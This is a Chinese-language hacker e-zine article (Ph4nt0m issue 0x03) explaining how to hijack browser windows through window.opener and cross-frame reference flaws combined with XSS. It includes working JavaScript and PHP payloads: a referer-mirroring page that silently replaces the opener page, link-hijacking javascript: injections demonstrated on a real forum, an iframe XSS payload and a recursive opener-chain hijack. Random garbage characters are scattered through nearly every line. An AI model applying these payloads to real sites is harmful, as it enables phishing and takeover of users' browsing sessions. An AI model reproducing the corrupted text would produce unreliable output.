==Ph4nt0m Security Team==% t* w& @2 e/ u5 f4 n) l
' h. k0 V% }9 U9 J) S- b2 p
Issue 0x03, Phile #0x05 of 0x07
) M4 J. Q7 Q' s% K* ? * c M/ C$ w+ X( U g5 A% A
: t) \+ A: y* V7 L: c6 l: j+ L|=---------------------------------------------------------------------------=|
3 c \8 X0 o# r/ Y# R/ X. K|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
2 H* f6 y: v$ ?' l3 F4 ]|=---------------------------------------------------------------------------=|& f$ ]) V+ ~7 V
|=---------------------------------------------------------------------------=|
" _, p# K% |) ^9 @- H$ g|=------------------------=[ By rayh4c ]=---------------------------=|
( ]0 L' ~; ^) Z: t, V! X0 o! o4 P|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|/ _+ e! L7 S" ^6 \
|=---------------------------------------------------------------------------=|3 _+ h- z( `. ^+ u
3 t6 I7 h0 ?$ K, m) R7 D) B$ H3 m2 H0 j2 _/ c
[目录]
: b) ^! h, y( u2 Q
8 H$ }* Z8 Z2 o2 C2 e1. 前言* [7 t; q$ h/ N4 q/ W1 Z
2. 同源策略简叙9 M9 h- F" ?# `: c9 N, K
3. 理解window对象的同源策略- r0 c5 _6 H- F3 `* {
4. 窗口引用功能中的同源策略漏洞
$ k) b% n/ z- o6 H 4.1 父窗口引用子窗口的同源策略问题; v' c" {- I. v. J: y( s+ ]) }
4.2 子窗口引用父窗口的同源策略问题1 X5 N3 X2 G( s2 P* p4 y) V
5. 利用窗口引用漏洞劫持浏览器 N- c* Z7 ?# j8 p
6. 利用XSS漏洞劫持浏览器/ g3 ?" P( k% U" `
6.1 正向跨窗口劫持: n& L- V( Y/ c% w# d/ V7 j
6.2 反向跨窗口劫持. l, [; S5 f; [7 r" K4 B* k
6.3 极度危险的跨框架窗口引用劫持
) R+ V% d7 Q# A; z6 X 6.4 极度危险的正反向跨窗口递归劫持* h$ _+ \( M) W
6.5 完全控制浏览器; H1 n8 r ?. u5 d
7. 后记
1 D5 `' X$ b( ~7 k8 l" b8. 参考( M6 O1 u$ r' L$ I6 p) K/ O0 U
, Y- k O# s+ K# t4 n( y. f
# e6 [0 @/ O/ f5 a f一、前言
! q. E s7 M1 g: ~
; i2 r, o+ K1 l. M2 m- z 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% q4 r3 \* h1 q0 `8 G) O友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session5 w, p- V. G* P/ {6 [8 t$ x2 R
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被* ^+ V+ U8 K1 K! z e# }
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。( I# r2 p( ?' K, I
3 z$ }5 k; `- ?; u2 n1 N
/ \5 p8 I- R& b
二、同源策略简叙) m+ k7 R. k6 e1 }
% B0 n U" r& @% ^/ h. n4 Z/ l: c- i* y
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以! h% P3 ]2 T E
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都( W/ T1 _ B+ f( F" F) \( G* a
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
3 g* r9 ^7 A: H马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
+ B5 W. k/ R& t漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
& l/ k/ S9 f/ q: [" _0 J/ r+ Q) T6 c) }+ E7 |+ q' ^
/ a' o/ m! h5 v# \三、理解window对象的同源策略
) n% j { V* q& x# m, ^
+ V; W8 i/ G. }* K* f G 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对1 W7 |9 j8 W7 a5 p8 J3 c
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:# H) Y. k3 ]$ }+ S, Z: o1 y
, L6 [1 X5 m$ s( o; I8 _--code-------------------------------------------------------------------------
- \! J6 G M- O G5 b<script language="javascript">
/ C: L9 _7 v" q& Z% hfor(p in window) document.write(p+"<br>");) r. S, t/ e8 z: D* A* D' v$ K1 y
</script>+ B* ` l# p. R) g0 \9 [+ T
-------------------------------------------------------------------------------8 O3 f0 `- q4 m) q5 Y5 s& w
# m: e' U0 K: ]1 q, D7 l6 s/ G
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方" w) h, n @# b
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ z: S1 `& f7 W' l/ e0 C! Q( L这些属性和方法就必须遵循同源策略。; H J' f4 N6 d0 }5 B- [
9 V! N$ d- o8 u* U g 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那" ~5 D V" p W, q
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
# { N) z5 i' O. P的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这* L3 I8 |: ^# j) p3 l# [+ o6 E4 e. g
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
' b o# l K0 m9 X7 G4 ^值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location# M% k7 a: f' a3 I
属性并没有被拒绝访问。/ _+ m# H5 ~9 I: h& C+ I
6 e+ {8 F1 |/ u0 d; j y+ p6 `--demo.html--------------------------------------------------------------------, Y A8 M X0 o `
<script language="javascript">
0 i, H# \) t; {8 `" yfunction allPrpos(obj) {
" x) K$ a, r( y2 e) C; R var props = "<table><tr><td>名称</td><td>值</td>"; : S4 W- D3 }$ B2 }) l' a6 u, f
for(var p in obj){
9 ~9 B* Z+ N# V# i, U if(typeof(obj[p])=="function"){ ( k7 r9 K+ B1 t- c8 ]: [
obj[p](); - S; E/ B4 i9 D
}else{
! |1 l# `/ p0 C9 K: ~3 k try 7 ^# n2 \5 C- O* p4 z5 e* t( s
{
; e! b. v+ d# Y! \! @ props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
/ T5 M' b0 K; a( c, L# e } 2 ?- J3 F6 {9 l' ]
catch (ex)
7 t3 e6 w: B& ?4 I {
} N- Z) x' A# e- r, K
/ J/ m" q4 e: X! P props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; , a; _$ U1 a/ X; u. b7 o9 \
}
8 K0 R& L; F2 n. B
5 g( `. p9 E- ^/ Z4 R3 Q; }+ n* p! h }
4 L6 @" C. I4 p% l }
4 W; m3 ]* h7 H; \# S# I/ Y" U; Q
2 x5 S0 J" L9 K8 |3 C$ B e- { document.write(props+"</table>"); & N& }# x% l3 q
}
$ r' ]' B, r* u4 {& ^; b( V
; w( t! e9 g2 a6 ^. U5 wfunction createWin() {6 Q$ P7 _8 K$ T) c
newWin = window.open ("http://www.google.com"); ( r% J. r( b, S/ r; }1 S9 U
setTimeout(function(){allPrpos(newWin)},2000);
: B0 C6 x" Q6 h" v2 z, f# X* C& R}
9 \8 P) e4 d, c, {1 I, ~! a6 N) C1 ?
</script> 4 v( c5 o: C9 W
0 h' J: H4 c9 q9 O; D; g<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 `- y7 [8 c4 q# t! `1 u1 L) U L) l
-------------------------------------------------------------------------------
$ |+ a0 U: B4 _6 t; c' o; F8 y* e% }1 |
. [# s0 F) L4 P; R3 A% D
四、窗口引用功能中的同源策略漏洞
+ t7 o5 w2 K) x0 o$ @
0 h' v# C$ y7 p+ H. f1 G4.1 父窗口引用子窗口的同源策略问题1 ]& c: T3 v5 ~( q5 A
) @/ j, P9 z/ I- b* M4 H. K5 n0 u4 `
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
4 L$ s8 t& b$ N但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
, ~5 l1 i3 }2 u7 J% g浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进: i/ Y( i/ L& i: l. }8 j
行测试,会发现父窗口可以控制非同源子窗口location属性值。& }! }' R! @, K6 ^; M
( R% m5 h- t- ^$ t) ^/ i--vul1.html--------------------------------------------------------------------2 v1 u8 a/ j$ p; @
<script language="javascript"> % w" H6 j- A) t n( R$ _9 o6 p/ `4 I
function createWin() { % {* j" [6 ]. I- {- K5 w6 r3 }
newWin = window.open ("http://www.google.com"); & ^0 h! d$ j0 U# [# i' M7 I& b
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
h7 g* m/ R- [6 Y! C} . a) \4 S6 F% i
</script>
, k* a: Z' y1 Q4 K3 v4 O( J1 c" P) C1 z" f( `: `' ~3 q- M1 Y% |' S
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
R5 ]* r2 F+ k8 \! u-------------------------------------------------------------------------------# N; K1 M3 w& V; b" w5 w
1 W7 ?2 v' `2 P
0 V- [: d) @2 w4.2 子窗口引用父窗口的同源策略问题
' N: O3 O2 w1 f! H3 o e9 ?: Y/ @3 G7 A
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
. ?! f+ v3 a/ A8 c, [& ?用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们5 g* x, t" g2 \1 B
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定& i" L9 I5 F) h% S
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
! O- r1 D7 i& {$ I1 M
& _' N4 A# `, n: B. o7 T5 Z% U--code-------------------------------------------------------------------------3 {2 l0 N# J( Y! z4 H# f, R
# f0 ~% L5 i) I1 a# njavascript:window.opener.location = "http://www.80sec.com";void(0);
) U' l7 \7 [3 ^9 |6 [3 ~" l3 M4 K7 q5 j( O! E
-------------------------------------------------------------------------------* S0 n1 S7 D, o& b
6 N4 s/ H6 q* Z; h# k
2 l1 n# h) I C' z1 D9 ?6 X2 _五、利用窗口引用漏洞劫持浏览器9 }- Y' L. F# D- d4 l4 ^* x
2 E6 m4 R) {- V# c% o 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
5 m$ ?4 V* u- h; o* ?) Z$ G, d窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
: e$ E# x# C0 Q4 i+ g5 ?么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! R; m' ?9 b4 H- Y8 E0 ]0 K7 X; s# M8 _. A+ I( G
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产& s, f4 K. d+ }
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或2 A+ J# K7 j1 x) ^& c+ m2 r
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接9 C1 n H. u$ j) b* W
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
; U1 }# j3 k2 c# B会产生什么可怕的后果。5 V5 h! e: j5 J% J% d ^: o
$ y4 d2 w$ l( C: C' [
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
) G5 o; E. j1 G% p2 L1 E9 v1 Z% }们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
8 f# V+ d" W; B3 G' u v9 O这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时. ]+ n, O4 N7 r) M' A
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可" d5 q) E7 Z; e, b, c
以做更多的事情,所有的一切仅仅是因为点击了一个链接。+ Z+ ~+ G4 m- q* F, n+ s+ _# n
. ^$ C2 U* A, o- p( R4 f% e
--hjk_ref.php------------------------------------------------------------------
* O# o: h) b. f- z# G<?php% ?# c2 J& ]. O S# u
if (array_key_exists("HTTP_REFERER", $_SERVER)) {! P& L- z# l: t6 H9 d0 b
$Url_Mirror = $_SERVER["HTTP_REFERER"];* c/ S/ W/ X0 a0 c* @
}
5 G# J9 I$ }' A" G1 Qif(isset ($_GET['ref'])) {
( @/ B! j) A! ~) ^5 iecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
# H/ S7 T3 P K5 f}
k% m7 x8 W" Y1 S5 u" [, \. _?>
4 d S* Y5 y! _3 T2 j1 K6 b* P# B: R0 j# v) j9 j. E
<script language="javascript">
$ {' q1 p' n6 B- e4 J. GsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
5 M! A: t) E0 H0 e2 B0 S! e; i/ R" E</script>" C$ ?! f! c, `
-------------------------------------------------------------------------------( `! S+ p) d# E. E: \
: Q% p8 U. K2 S1 t4 Y# k. j 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。$ }9 @! F* M) L7 P. _7 f, I6 m
0 d% D$ y; {# W# d4 I5 [+ m
: f% y L/ i" |$ E4 q六、利用XSS漏洞劫持浏览器* L3 l4 }; x+ y! ^
' _; z B6 x1 \; ?9 v& T
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为4 U: L) q2 f: T7 o: p+ G9 P0 F5 G
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后2 j: b# E2 a$ d* r
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
, d# O# l7 ] j" j* V9 a/ w, ]讨论跨站师的终极技巧:0 i; ^" j3 E) r3 }3 x* y3 C/ O6 L
8 P# N( [( y/ U# W! u. ]' ?" N! h
+ c# E3 U( r" _1 u7 h6.1 正向跨窗口劫持6 ]8 b6 ~8 y4 B* W0 M
# v4 y7 z2 b0 r9 j) A! I2 V 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
4 z q7 Q4 W( M$ `! W2 B主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链# Z3 e, t5 @& o
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
4 i5 c+ }& h; z9 I! f) g框脚本。 ; n; A3 |# d4 a; t9 q6 H4 T C
3 G3 {8 I. N7 b O) \
--hijack_open.js---------------------------------------------------------------. v4 s4 [5 ` i7 i: `# {5 _
' A* A9 I. C6 ~( y
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
2 U& P3 U/ u1 H9 Q9 D% i( K5 L5 T! o
-------------------------------------------------------------------------------; p- Y$ N1 ^4 e, A, s
& I p4 h6 Z+ n# s9 c: S- h4 Z1 k, h
% C" q; B; z- H; R. ^6.2 反向跨窗口劫持7 b9 Z9 P0 k% I
' P3 T9 I4 t6 f* x/ G0 h2 W 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代" [+ M) \4 F+ j F* B
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
+ ?' A" p( e2 M/ D5 I框脚本。' K7 b9 ^8 W3 {0 j% y0 ~% m/ r
) q/ z! K( k j+ @
--hijack_opener.js-------------------------------------------------------------$ I+ ^6 P1 g1 Y Q
1 Z c2 z. W- D2 O. ^( X; R$ P3 ~7 Sjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
5 q, J+ \# {( i2 z2 x
' x( P5 e0 c& }------------------------------------------------------------------------------- F4 f4 q! \: d# \8 a) c
8 d& ]/ R u% D/ N. P
$ o8 c0 `# E B: L! [3 ]
6.3 极度危险的跨框架窗口引用劫持. ], ~4 L7 M& c- r
# t2 {9 }, L. t% b
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞6 }) H" G$ d% l$ I0 _8 A7 Z
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
% j3 G# {7 w* } S8 h" f, z- M适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
2 I7 G8 c% m7 e- |非持久型的XSS,如下:
$ ?( p$ Y* |7 A) X8 [% P; G Y3 Z8 u& G1 ?' I; j! S- r
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>0 r' i1 ~" W1 Z' g& u
, k5 h' T z. A6 ]$ y) D1 a/ k 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口7 |0 Q; X! r2 t6 I; T* x/ n8 N
注入脚本。
7 b* L% _6 s3 Q# x" i V0 I. a1 g& q9 p2 O2 t8 W$ _) d2 K* ^% W! Z
--hijack_frame_opener.js-------------------------------------------------------) V4 O6 D9 u7 L+ C( d/ V5 z: V
<script>) r& ^8 C4 U/ A( `4 [
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
; N, w. b8 e; o; U9 A</script>" |& c# ~1 v, w) e* r1 Q
-------------------------------------------------------------------------------
P" W9 l- Z( y
/ s$ Z5 r, W" s X& h; E; F
5 m9 a$ {; t# k- X* Y$ D* `6 G6.4 极度危险的正反向跨窗口递归劫持 y* x1 A- Y6 Y5 U9 z
$ ]& H: w. \2 O4 F
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
4 `# A0 z8 B- b. h的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
0 K* ?4 v5 I- b7 t, k( l% X; u异常处理规避之间跨域页面的访问异常,代码如下:2 g, c+ u0 Q5 y3 D/ [: x# s. _3 h
2 h! j3 L( [' ]2 x7 E+ Y6 m E+ {--code-------------------------------------------------------------------------
* \' B4 J7 i* ^7 @
& @9 a9 [ b0 Q6 f; @javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);" S& ~& u5 p" R; I
+ S; X& C* k9 o8 D------------------------------------------------------------------------------- K j* c9 k5 s
) ]% k, E6 S$ F b S 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
' A' d7 H, K0 b. a4 ]; _; j3 U以劫持B域之前的A域页面,从而实现“隔空打击”。
2 y# [5 Q1 t2 L) P
* d1 X k) X. @ ~, U. d0 K, E 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面; v$ x) L! k/ |$ w7 W% d) o2 W
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
2 j5 q( t' |) t# ~# D2 L, r0 B T6 q3 O3 X& |2 s; D' w, \% K v- q* D
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。' Y) j/ w* [ q% U/ T) \
6 K& M2 G G& E5 V8 n# L# F7 t+ l
6.5 完全控制浏览器
" v: G0 x( O( H# g* K# h! O' h% y/ k
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则) N; K# m5 n( K; ^
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
+ J1 B& z; l7 ~* k/ O C' U1 d漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
" w9 T, L+ G, D; A而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
% g3 X% y: [2 h7 J' B. m列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
8 x9 \! H# B# p4 A师的终极目标 - 完全控制浏览器。
6 k R6 G: f9 N! n4 m) g7 x" A1 N D& m
) k8 Q+ n- G. P8 r+ R: Q: m* t* O u4 }
七、后记
' ]/ T, x1 o# Z' }" x8 c2 G4 y0 H
( q Y. x) ^3 _1 T6 r8 U7 ]& Z; ? 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
5 \4 z* |5 K3 V/ k与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予7 _ C' K) N+ P' P9 U( l" [' U
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。# D# v/ n$ V# S
1 V; |$ x$ y. R I/ B" i- f; N: y) d1 G9 ], x# u2 {
八、参考0 r) _( L( g0 e' _2 \# I
+ E& l* N. w) x: S, T+ ]
1. http://en.wikipedia.org/wiki/Same_origin_policy8 R2 K4 n, F5 F; T7 ]
2. http://code.google.com/p/browser ... licy_for_DOM_access$ \$ b# }. r" v, ?" C3 N
3. http://www.w3.org/TR/Window/
! U* ] ~, b8 C- O c, M- G, f4. http://www.80sec.com/release/browser-hijacking.txt# m, C& o, g2 r3 |
5. http://www.80sec.com/all-browser-security-alert.html7 U4 x u; W6 e
6. http://www.80sec.com/ms08-058-attacks-google.html i' P$ b) X4 j" {9 ?0 x& w9 U
! M# M+ g, z3 E2 M" d" Z: f
-EOF- |